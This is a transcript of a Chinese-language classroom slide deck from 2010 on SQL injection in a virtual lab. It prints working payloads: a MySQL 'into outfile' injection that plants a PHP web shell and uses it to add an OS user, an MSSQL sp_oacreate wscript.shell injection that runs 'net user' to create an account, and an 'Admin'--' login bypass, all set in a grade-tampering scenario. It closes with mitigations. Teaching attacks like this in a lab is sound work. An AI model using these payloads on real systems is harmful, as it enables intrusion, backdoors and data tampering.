1 / 20

MSQL Injection & MYSQLInjection on VMITIN

MSQL Injection & MYSQLInjection on VMITIN. 2010/10/27 曾家雄. 登入 VMITIN. 建立新的實驗專案. 建立 VLAN. 直接操控此電腦. R8 R9. MYSQL 部分. MYSQL 的問題. 沒有像 MSSQL 一樣可以取得 OS Object 的 Handle 功能 因為拿不到 cmd 的 Handle ,所以沒辦法直接用 SQL Injection 產生 OS 帳號 但 PHP 可以對 Windows Shell 操作 ( 弱點所在 ). 產生 PHP 的 backdoor.

todd
Download Presentation

MSQL Injection & MYSQLInjection on VMITIN

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. MSQL Injection & MYSQLInjectionon VMITIN 2010/10/27 曾家雄

  2. 登入VMITIN

  3. 建立新的實驗專案

  4. 建立VLAN

  5. 直接操控此電腦 R8 R9

  6. MYSQL 部分

  7. MYSQL的問題 • 沒有像MSSQL一樣可以取得OSObject的Handle功能 • 因為拿不到cmd的Handle,所以沒辦法直接用SQL Injection產生OS帳號 • 但PHP可以對WindowsShell操作(弱點所在)

  8. 產生PHP的backdoor • 使用select into outfile 的漏洞 • 輸入SQL Injection • ' or 1=1; select '<?php $a = $_GET[\'cmd\']; echo `$a`; ?>' into outfile 'C:/AppServ/www/cmd.php'; # • 使用產生好的cmd.php來對OS下命令 • http://localhost/cmd.php?cmd= net user balck black /add

  9. Demo

  10. 取得作業系統權限

  11. MSQL 部分

  12. 情境 • 小茂為了詐領獎學金,試圖入侵學校網頁竄改成績 • 最後在成績資料庫中建立管理帳號,以便使用易操作的軟體遠端控制資料庫 • 甚至建立具最高權限遠端控制該主機的帳號

  13. 取得系統管理員權限 • 通常管理員的帳號都喜歡用預設的 • 在帳號欄輸入Admin’ – • 程式的SQL敘述變成Select * From Teacher WhereTID = ‘Admin’--' And Password =‘ooo‘

  14. 取得教師證號 • 成功進入管理者介面取得教師證號 • 回登入頁面在帳號欄輸入T12345678’ – • 成功進入成績管理介面

  15. 修改成績

  16. 在Windows中建立帳號 • 用Admin權限的帳號 • '; declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\net user black black /add '--

  17. 成功建立帳號

  18. C.P. MYSQL& MSQL • MSQL因為有與微軟產品做整合,所以可以透過SQL產生OS物件的Handle來使用OS內的物件 • MYSQL因為常與PHP合用,雖然SQL無法直接跟OS溝通,但是其有產生file的能力,若與PHP這樣的Script Language結合,一樣可以跟OS做溝通 • MYSQL跟PHP可以用於Linux與OS環境中,通用性高 • 最後測試的結果皆可以獲得OS的登入權限

  19. 其他SQL產品 • Oracle 一樣支援類似output file的指令 • Spool • 語法 • SQL> Spool onSQL> Spool c:\spooltext.txtSQL> QuerySQL> Spool off • 搭配Script Language同樣可以做到獲取OS登入權限的效果

  20. 解決方式 • 前端界面 • 應該在使用者輸入欄位時,立刻作規則文法的分析,當出現 ‘ # -- 等符號時,應予禁用 • 後端資料庫 • 程式對於後端資料庫的連線帳號,不可使用Administrator的權限,應該依照程式的需求,用多角色的方式,建立有限能力的連線 • Web Server之安裝 • 避免使用預設的目錄

More Related